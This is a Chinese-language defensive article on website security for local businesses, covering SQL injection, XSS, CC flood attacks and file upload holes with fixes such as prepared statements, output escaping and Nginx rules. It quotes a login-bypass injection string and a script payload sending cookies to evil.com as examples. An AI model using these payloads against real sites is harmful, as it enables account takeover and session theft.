SQL注入:最经典也最致命
延津县一家面粉加工厂的官网有产品搜索功能,用户输入关键词后程序直接拼到SQL语句里执行。结果有人输入了 ' OR '1'='1 ,直接绕过登录拿到了管理员账号密码。这就是典型的SQL注入。
原理很简单:程序把用户输入当成了SQL代码的一部分来执行。攻击者可以通过这种方式读取、修改甚至删除整个数据库。2023年国内公开报告的SQL注入漏洞超过4000个,实际数字远不止这些。
防范方法也直接——用参数化查询,不要拼接SQL。PHP里用PDO的预处理语句:
$stmt = $pdo->prepare('SELECT * FROM products WHERE name LIKE :keyword'); $stmt->execute([':keyword' => '%'.$keyword.'%']);
就这么改一行代码,SQL注入的风险基本归零。踩过坑的人都知道,这种漏洞修起来不难,难的是你根本不知道自己代码里有这个洞。
XSS跨站脚本:偷你cookie的隐形贼
XSS攻击是黑客往你的网页里注入JavaScript代码,当其他用户访问时,这段JS就会在用户浏览器里执行。最常见的场景是偷cookie——拿到管理员的session cookie,就能直接登录后台,连密码都不用知道。
卫辉一家化工企业的官网留言板没做过滤,有人在留言里插入了 <script>document.location='https://evil.com/?c='+document.cookie</script> 。管理员查看留言时cookie就被发到了攻击者的服务器上。
防范的核心是输出转义。用户输入的内容在渲染到HTML时,必须对特殊字符做HTML实体编码。PHP里用 htmlspecialchars($input, ENT_QUOTES, 'UTF-8') ,前端框架如Vue、React默认就做了转义。另外给cookie加上HttpOnly标志,JS就读不到了: session.cookie_httponly = 1 。
CC攻击:耗死你服务器资源
CC攻击不像DDoS那样靠流量硬冲,而是模拟真实用户频繁请求你网站上耗资源的页面,比如搜索、动态生成报表的接口。服务器CPU和内存被占满,正常用户进不来。
新乡高新区有家做电商的公司搞促销活动,结果被CC攻击了商品搜索接口,每个请求都触发全表搜索,20个并发就把4核8G的服务器搞崩了。响应时间从0.3秒飙到30秒以上。
应对CC攻击,一是做接口限流(比如同一个IP每分钟最多请求60次),二是加缓存(搜索结果缓存5分钟),三是上CDN(大部分请求在CDN层就挡掉了)。Nginx里配置限流示例:
limit_req_zone $binary_remote_addr zone=api:10m rate=1r/s; location /search { limit_req zone=api burst=10 nodelay; }
文件上传漏洞:给黑客开了后门
这个漏洞在新乡企业网站中出现频率极高。很多网站允许用户上传图片,但没有校验文件类型。攻击者把PHP木马改个.jpg后缀传上去,然后通过其他方式让服务器以PHP执行它,直接拿到服务器控制权。
防范要点:白名单校验后缀(只允许jpg/jpeg/png/gif/pdf),检查文件头(MIME类型),上传文件重命名(防止攻击者知道路径),上传目录禁止执行脚本。Nginx配置:location /uploads/ { location ~ \.php$ { deny all; } }
这几种攻击类型占企业网站被入侵案例的80%以上。不用全搞懂原理,但得知道有这回事。该补的洞补上,该上的防护上好,你的网站比市面上70%的企业网站都安全。